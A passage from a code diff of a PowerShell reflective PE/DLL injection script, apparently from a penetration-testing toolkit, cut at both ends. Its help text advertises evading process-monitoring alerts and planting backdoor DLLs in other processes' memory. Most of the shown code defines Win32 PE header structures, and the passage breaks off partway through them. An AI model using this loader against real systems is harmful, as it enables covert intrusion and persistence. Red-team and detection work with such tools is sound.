finishes executing. - -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. 3.) Reflectively inject a DLL in to a remote process. - -Can NOT return DLL output to the user when run remotely OR locally. - -Does NOT clean up memory in the remote process if/when DLL finishes execution. - -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. - -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. DLL LOADING NOTES: @@ -159,725 +159,727 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ #> +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, - - [Parameter(Position = 1)] - [String[]] - $ComputerName, - - [Parameter(Position = 2)] + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] - [String] - $FuncReturnType = 'Void', - - [Parameter(Position = 3)] - [String] - $ExeArgs, - - [Parameter(Position = 4)] - [Int32] - $ProcId, - - [Parameter(Position = 5)] - [String] - $ProcName, + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, [Switch] $ForceASLR, - [Switch] - $DoNotZeroMZ + [Switch] + $DoNotZeroMZ ) Set-StrictMode -Version 2 $RemoteScriptBlock = { - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FuncReturnType, - - [Parameter(Position = 2, Mandatory = $true)] - [Int32] - $ProcId, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ProcName, + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, [Parameter(Position = 4, Mandatory = $true)] [Bool] $ForceASLR - ) - - ################################### - ########## Win32 Stuff ########## - ################################### - Function Get-Win32Types - { - $Win32Types = New-Object System.Object - - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - - ############ ENUM ############ - #Enum MachineType - $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null - $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null - $MachineType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType - - #Enum MagicType - $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null - $MagicType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType - - #Enum SubSystemType - $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null - $SubSystemType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType - - #Enum DllCharacteristicsType - $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null - $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null - $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null - $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null - $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null - $DllCharacteristicsType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType - - ########### STRUCT ########### - #Struct IMAGE_DATA_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) - ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null - $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY - - #Struct IMAGE_FILE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null - $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER - - #Struct IMAGE_OPTIONAL_HEADER64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null - $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 - - #Struct IMAGE_OPTIONAL_HEADER32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 - - #Struct IMAGE_NT_HEADERS64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null - $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 - - #Struct IMAGE_NT_HEADERS32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null - $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 - - #Struct IMAGE_DOS_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) - $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null - - $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $e_resField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null - - $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) - $e_res2Field.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null - $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER - - #Struct IMAGE_SECTION_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) - - $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) - $nameField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER - - #Struct IMAGE_BASE_RELOCATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null - $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION - - #Struct IMAGE_IMPORT_DESCRIPTOR - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null - $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR - - #Struct IMAGE_EXPORT_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null - $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID - - #Struct LUID_AND_ATTRIBUTES - 